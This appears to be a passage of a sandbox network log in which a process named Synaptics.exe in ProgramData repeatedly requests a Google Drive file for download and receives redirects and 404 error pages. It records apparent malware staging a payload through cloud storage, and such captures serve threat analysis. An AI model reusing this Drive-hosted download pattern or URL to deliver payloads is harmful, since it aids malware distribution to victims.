2024-07-02 04:51:33 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 4f 31 58 6c 4c 4e 32 30 6b 34 72 6f 70 66 59 41 59 44 78 35 41 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="O1XlLN20k4ropfYAYDx5AA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49767	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:33 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:33 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:33 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-Z_comFUqJ7Xzw8Er5iZsvw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NqCJ9hnVyLCfOc2Qy3PWaize7-8y2smhAIkcx0BeQja-m36-Nw_60zfNafuUIqHSPMnsWNvp9eG-w Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:33 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:33 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 55 39 74 78 61 78 39 64 47 5f 42 55 41 77 32 56 6f 45 34 4d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="tU9txax9dG_BUAw2VoE4Mg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:33 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49768	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:33 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:33 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:33 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-Igtef0HCMGk47zwgW4zVig' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49770	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:34 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NWRc7CriPz1j575mit-fpQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49772	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:34 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:34 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:34 GMT Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-6JhqyyozaqQAfPPyvHb86w' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1642 X-GUploader-UploadID: ACJd0NoK2QvzEuzcJ3HE8WfNiOTcuxTayeiyOGwj9KKU2EH0W28TrovVdMiHLE2n6dvooPc0TlktjLy-Lg Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-07-02 04:51:34 UTC	137	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang=en><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-07-02 04:51:34 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 50 5a 31 54 71 54 6d 42 7a 34 6a 6b 46 74 54 6a 35 76 49 41 6d 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="PZ1TqTmBz4jkFtTj5vIAmg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-07-02 04:51:34 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	49771	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:34 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2024-07-02 04:51:34 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:34 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-kmdFl3AZOFWVBM8Km4AaNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	49773	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:34 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	49777	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:35 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM
2024-07-02 04:51:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-V0ZiFNzhI389OfHhSy6fzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	49776	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:35 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM
2024-07-02 04:51:35 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:35 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-5HyFPHivwbX1OkG-0151_A' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	49778	216.58.206.78	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:36 UTC	332	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=515=hvNqLQGGTW_jz-Z-2Gifs1ZmMOcy9V7YwuCTkJ9UsaPlvIDjrgJvd-weTfYLZ6plN_u27mHeGvvWsNasfuhssEgcVrwaGUfDL1rg6SbcVNO2Nw5L9UyXxHRiiCXTd3QV4aREWJhGdvGnJQwd-rryP0B_x1r3oXK265LQum1pmfM
2024-07-02 04:51:36 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:36 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-IjQHWRcIs8B4pQaNi1KTJQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	49780	142.250.184.225	443	3868	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-02 04:51:36 UTC	375	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=515=o4szNmhRxdEOpFNobS4rMMbmu-3EivKfgD6Q5al0DAW64LhUikGaJlMI-cBm7mLNXwkxPvbBZ-Ia6dvia8iuaYEoPaezX_sHVk5jDetH_LWMtVG34SM7KNzlV54GIajonBPBWzetB_m_DRq14rcIWPdoZKfiq8MFkIXaYmOJRGs
2024-07-02 04:51:36 UTC	1253	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Tue, 02 Jul 2024 04:51:36 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-LFtiodpXKCu1h31CpN-iSg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1642 X-GUploader-UploadID: ACJd0NpTn0hN5UTqxW0z_a8lgdpJ2_i4IFuK1-6SKJ0lmSUFH3U-7hVhjs-VzFCL9KW_mzX26Nsr0Mu7NQ Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
